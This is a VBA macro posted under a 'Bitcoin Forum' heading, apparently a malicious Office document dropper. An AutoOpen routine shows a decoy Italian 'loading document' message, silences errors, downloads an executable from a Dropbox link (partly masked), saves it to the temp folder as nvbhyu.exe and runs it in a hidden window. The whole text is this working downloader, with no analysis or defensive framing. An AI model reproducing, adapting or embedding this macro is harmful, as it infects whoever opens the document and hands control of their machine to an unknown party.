Bitcoin Forum

Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Option Explicit
Sub GetShell()
    On Error Resume Next 'Disable Errors Globally as XMLHTTP.Send is awful
    
    Dim objXMLHTTP As Object
    Set objXMLHTTP = CreateObject("MSXML2.ServerXMLHTTP")
    Dim objADOStream As Object
    Dim objFSO As Object
    Dim wsh As Object
    Dim objExecObject As Object
    Dim shellcode As String
    Dim fullpath As String
    Dim tempDirectory As String
    Set wsh = CreateObject("WScript.Shell")
    Set objFSO = CreateObject("Scripting.FileSystemObject")
    'display a message with an OK button and a title
    MsgBox "Attendere sto caricando il documento", vbOKOnly, "Looding....."
    
    shellcode = ""
    
    
    objXMLHTTP.Open "GET", "https://dl.dropboxusercontent.com/s/*****", False
    objXMLHTTP.Send
    Set objADOStream = CreateObject("ADODB.Stream")
    objADOStream.Open
    objADOStream.Type = 1
    objADOStream.Write objXMLHTTP.ResponseBody
    objADOStream.Position = 0
    Set objFSO = CreateObject("Scripting.FileSystemObject")
    tempDirectory = Environ("TEMP")
    
    
    fullpath = tempDirectory & "\nvbhyu.exe "
    
    
    If objFSO.FileExists(fullpath) Then
        wsh.Run fullpath & shellcode, 0
    Else
        objADOStream.SaveToFile fullpath
        objADOStream.Close
        wsh.Run fullpath & shellcode, 0
    End If
   
    Set wsh = Nothing
    Set objXMLHTTP = Nothing
    Set objADOStream = Nothing
    Set objFSO = Nothing
    Set objExecObject = Nothing
    
   
    On Error GoTo 0
End Sub

Sub AutoOpen()
    GetShell
End Sub